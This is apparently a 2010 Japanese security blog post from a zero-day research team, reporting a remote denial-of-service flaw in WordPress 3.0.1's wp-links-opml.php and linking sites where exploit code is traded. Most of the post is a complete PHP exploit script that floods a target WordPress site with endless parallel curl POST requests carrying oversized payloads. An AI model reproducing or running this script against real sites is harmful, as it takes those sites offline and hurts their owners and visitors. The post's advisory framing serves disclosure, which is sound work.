土曜日, 9月 11, 2010

【zeroday】Wordpress3.0.1のリモートDoS問題


WordPress(ワードプレス)はデータベースにMySQLを利用し、PHPで書かれたオープンソースのブログソフトウェアである。b2/cafelogというソフトウェアの後継として開発された。GNU General Public License(GPL)の下で配布されている。

つい最近Wordpressバーション3.0.1のリモートDoSセキュリティ問題が発見されて再現コードがインターネットで交換されている状況です、本件の再現コードについて例えば下記のサイトに交換されてます(後5件ぐらいありますが…)↓
http://www.vfocus.net/art/20100910/7861.html
http://foro.latinohack.com/biblioteca-de-bugs-exploits-564/wordpress-3-0-1-remote-denial-service-exploit-42937/

問題の説明は、wp-links-opml.phpのPOSTコマンドハンドルのバグがあり長いパケットを送信したら、例え↓
$packet .'00000000…0000000000000000000000000000000000000000000000',
CURLOPT_RETURNTRANSFER => 1,
WordPressがDoS状況になってしまいます。

再現仕方↓
PHPでのCURLOPT又は直接UNIXのcurlコマンドを使ったら本件の問題再現確認が出来ます。下記はPHP再現コード↓
<?php

// Curl php5 ;)

function info()
{
echo "##################################################################\n";
echo "# Wordpress 3.0.1 - Remote Denial Of Service Exploit\n";
echo "# Author: KnocKout\n";
echo "# Greatz : DaiMon,BARCOD3\n";
echo "##################################################################\n";
echo "# php poc.php target\n";
echo "# php poc.php http://www.victim.com/PATH/ 20 5\n";
echo "________________________________________\n";
exit;
}

if($argc !== 4 || !preg_match('#^\d+$#', $argv[2]) || !preg_match('#^\d+$#', $argv[3]))
{
info();
}

$url = $argv[1];
$threads = (int) $argv[2];
$timeout = (int) $argv[3];

$ptimeout = $timeout * 100;

$packet = implode('+', range(100,999));

while(1)
{
$m = curl_multi_init();

for($i = 0; $i < $threads; $i++)
{
$c[$i] = curl_init();
$opts = array
(
CURLOPT_URL => $url . 'wp-links-opml.php?link_cat=--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0',
CURLOPT_USERAGENT => 'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52',
CURLOPT_ENCODING => 'gzip, deflate',
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => 'search_keywords='. $packet .'0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => $timeout,
);
curl_setopt_array($c[$i], $opts);
curl_multi_add_handle($m, $c[$i]);
}

$t = 0;
do
{
curl_multi_exec($m, $r);
usleep(100000);

$t++;

if($t > $ptimeout)
{
curl_multi_close($m);
for($i = 0; $i < $threads; $i++)
{
curl_close($c[$i]);
}
break;
}
}
while($r > 0);

echo '.';
}
?>


今年の5月頃にWordpress全世界にあるホスティンッグのWordpressサイトにマルウェアをインジェックされた事件がありました。原因はいくつかWordpressのセキュリティ問題再現コードがインターネットで交換されているけどホスティンッグサービスがアップグレード行動が遅かった。

本件についてWordpress3.0.1のゼロデイです。パッチやフィックスを待ち状態。
---
http://0day.jp
ゼロデイ・リサーチチーム
アドリアン・ヘンドリック

0 件のコメント:

コメントを投稿